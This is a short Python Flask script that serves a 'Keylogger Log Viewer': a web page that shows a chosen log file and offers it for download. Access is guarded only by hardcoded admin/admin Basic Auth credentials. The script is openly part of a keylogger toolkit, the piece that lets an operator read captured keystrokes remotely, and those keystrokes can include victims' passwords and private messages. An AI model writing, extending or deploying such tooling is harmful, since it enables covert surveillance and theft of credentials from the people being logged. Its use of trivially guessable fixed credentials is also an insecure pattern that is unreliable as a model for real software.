from flask import Flask, render_template_string, send_file, request, Response import os from functools import wraps print(r""" __ __ _ ____ \ \ / /__| |__ / ___| ___ _ ____ _____ _ __ \ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__| \ V V / __/ |_) | ___) | __/ | \ V / __/ | \_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_| Github:https://github.com/Stalin-143 """) app = Flask(__name__) # Specify the location of the log file (this should be provided by the user) log_file_path = input("Enter the file path: ") # Change this as needed # Basic Authentication USERNAME = 'admin' PASSWORD = 'admin' # Function to prompt for username and password if not authenticated def check_auth(username, password): return username == USERNAME and password == PASSWORD # Function to require authentication for routes def authenticate(): return Response( 'Unauthorized Access. Please log in with correct credentials.', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'}) # Decorator to enforce authentication def requires_auth(f): @wraps(f) def decorated(*args, **kwargs): auth = request.authorization if not auth or not check_auth(auth.username, auth.password): return authenticate() return f(*args, **kwargs) return decorated # HTML template to display the log contents and provide a download link HTML_TEMPLATE = ''' Keylogger Log Viewer

Log File: {{ log_file_path }}

Log File Contents:

{{ log_contents }}
Download Log File ''' # Route to display the log file contents and provide a download link @app.route('/') @requires_auth def home(): if os.path.exists(log_file_path): with open(log_file_path, 'r') as file: log_contents = file.read() else: log_contents = "Log file not found." return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents) # Route to download the log file @app.route('/download') @requires_auth def download_log(): if os.path.exists(log_file_path): return send_file(log_file_path, as_attachment=True) return "Log file not found." if __name__ == '__main__': debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() in ['true', '1', 't'] app.run(debug=debug_mode)